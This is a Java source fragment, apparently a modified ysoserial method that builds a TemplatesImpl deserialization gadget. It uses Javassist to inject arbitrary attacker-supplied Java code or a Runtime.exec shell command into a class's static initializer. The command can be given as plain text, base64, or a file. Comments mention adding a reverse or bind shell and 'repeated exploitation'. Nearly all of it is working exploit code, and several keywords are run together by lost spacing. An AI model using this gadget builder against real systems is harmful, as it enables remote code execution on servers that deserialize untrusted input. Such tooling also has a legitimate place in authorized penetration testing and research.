publicstatic <T> T createTemplatesImpl( final String command, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory ) throws Exception { final T templates = tplClass.newInstance();
// use template gadget class ClassPool pool = ClassPool.getDefault(); pool.insertClassPath(new ClassClassPath(StubTransletPayload.class)); pool.insertClassPath(new ClassClassPath(abstTranslet)); final CtClass clazz = pool.get(StubTransletPayload.class.getName()); // run command in static initializer // TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections
//////////////////////////////////////////////////////////////////////////////////////////////////////// // Code by c0ny1 // email: [email protected] // date: 2019-04-29 // From: https://www.cnblogs.com/0201zcr/p/5009975.html //////////////////////////////////////////////////////////////////////////////////////////////////////// String cmd = ""; if(command.startsWith("code:")) { cmd = command.substring(5); }elseif(command.startsWith("codebase64:")){ byte[] decode = new BASE64Decoder().decodeBuffer(command.substring(11)); cmd = new String(decode); cmd = new URLDecoder().decode(cmd); }elseif(command.startsWith("codefile:")){ String codefile = command.substring(9); try{ File file = new File(codefile); if(file.exists()){ FileReader reader = new FileReader(file); BufferedReader br = new BufferedReader(reader); StringBuffer sb = new StringBuffer(""); String line = ""; while ((line = br.readLine()) != null) { sb.append(line); sb.append("\r\n"); } cmd = sb.toString(); }else{ System.err.println(String.format("[-] %s is not exists!",codefile)); System.exit(0); } }catch (IOException e){ e.printStackTrace(); } }else{ cmd = "java.lang.Runtime.getRuntime().exec(\"" + command.replaceAll("\\\\", "\\\\\\\\").replaceAll("\"", "\\\"") + "\");"; } System.err.println("----------------------------------Java code start----------------------------------"); System.err.println(cmd); System.err.println("-----------------------------------Java code end-----------------------------------"); ////////////////////////////////////////////////////////////////////////////////////////////////////////
clazz.makeClassInitializer().insertAfter(cmd); // sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion) clazz.setName("ysoserial.Pwner" + System.nanoTime()); CtClass superC = pool.get(abstTranslet.getName()); clazz.setSuperclass(superC);
finalbyte[] classBytes = clazz.toBytecode();
// inject class bytes into instance Reflections.setFieldValue(templates, "_bytecodes", newbyte[][] { classBytes, ClassFiles.classAsBytes(Foo.class) });
// required to make TemplatesImpl happy Reflections.setFieldValue(templates, "_name", "Pwnr"); Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance()); return templates; }